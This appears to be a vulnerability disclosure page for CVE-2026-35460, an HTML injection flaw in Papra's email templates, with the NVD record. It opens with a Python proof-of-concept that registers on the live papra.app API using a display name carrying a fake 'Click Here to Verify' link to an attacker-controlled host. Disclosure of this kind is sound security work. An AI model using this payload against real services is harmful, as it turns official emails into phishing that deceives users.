CVE-2026-35460

import requests # Target URL target_url = "https://papra.app/api/register" # Malicious payload: HTML injection in the display name # This injects a fake verification link pointing to an attacker-controlled server malicious_name = "<a href='http://attacker-controlled-site.com/steal'>Click Here to Verify</a>" payload = { "email": "[email protected]", "password": "SecurePassword123!", "name": malicious_name # Vulnerable field } try: response = requests.post(target_url, json=payload) if response.status_code == 201: print("[+] Registration successful. Check the email for the injected HTML.") else: print(f"[-] Registration failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-35460", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:43.887", "lastModified": "2026-04-24T15:31:18.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Papra is a minimalistic document management and archiving platform. Prior to 26.4.0, transactional email templates in Papra interpolate user.name directly into HTML without escaping or sanitization. An attacker who registers with a display name containing HTML tags will have those tags injected into the verification and password reset email bodies. Since emails are sent from the legitimate domain (e.g: [email protected]), this enables convincing phishing attacks that appear to originate from official Papra notifications. This vulnerability is fixed in 26.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:papra:papra:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.4.0", "matchCriteriaId": "D2F10801-36E9-47AD-AD2D-DA4709B67B72"}]}]}], "references": [{"url": "https://github.com/papra-hq/papra/security/advisories/GHSA-6f8x-2rc9-vgh4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/papra-hq/papra/security/advisories/GHSA-6f8x-2rc9-vgh4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}